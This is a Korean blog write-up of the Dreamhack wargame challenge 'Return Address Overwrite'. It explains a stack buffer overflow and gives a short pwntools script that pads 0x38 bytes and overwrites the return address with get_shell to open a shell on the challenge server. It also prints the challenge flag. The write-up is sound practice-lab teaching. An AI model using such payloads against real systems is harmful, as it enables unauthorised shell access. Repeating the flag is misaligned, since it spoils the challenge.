본문 바로가기
hacking/pwnable

[Dream hack] Return Address Overwrite

by ilp 2024. 9. 18.
반응형

https://dreamhack.io/wargame/challenges/351

 

Return Address Overwrite

Description Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.

dreamhack.io



먼저 코드부터 보고 시작하자

일단 init은 넘어가고 

 

코드를 보면 

버퍼 오버플로우 이용해서 return adress에 get_shell의 주소를 넣어주면 될것 같다.

get_shell의 주소는

0x4006aa

이다.

 

disassemble해서 보면은 

이부분을 보고 buf의 크기가 0x30만큼 차지한다.

 

코드를 실행하고 대충 이렇게 입력을 해본다

rsp'AAAAAAAA' 라는 것을 알 수 있다.

 

 

이제 스텍프레임을 추측할 수 있는데

 

 

익스플로잇 코드를 작성해보자

머저 접속하고

 

페이로드를 작성한다

아까 찾았떤 데로 0x38만큼 쓰레기를 넣어준다 (이걸로 buf와 sfp를 채운다)

그리고 get_shell의 주소리틀 앤딘안으로 바꿔서 넣어준다. (이게 return adress 자리에 들어간다)

 

마지막으로 페이로드를 전송해준다.

그러면 flag를 찾을 수 있따.

 

전체 코드

from pwn import *
p=remote("host3.dreamhack.games",23259)

chuu=b'c'*0x38+ p64(0x4006aa)

p.recvuntil(b'Input: ')
p.sendline(chuu)
p.interactive()
더보기

DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}


반응형

'hacking > pwnable' 카테고리의 다른 글

[Dream hack] Quiz: Out of Bounds-1  (0) 2024.09.20
[Dream hack] Memory Corruption: Out of Bounds  (6) 2024.09.19
[Dream hack] Logical Bug: Command Injection  (2) 2024.09.06
[Dream hack] sint (p32)  (0) 2024.09.05
[Dream hack] cmd_center  (0) 2024.09.04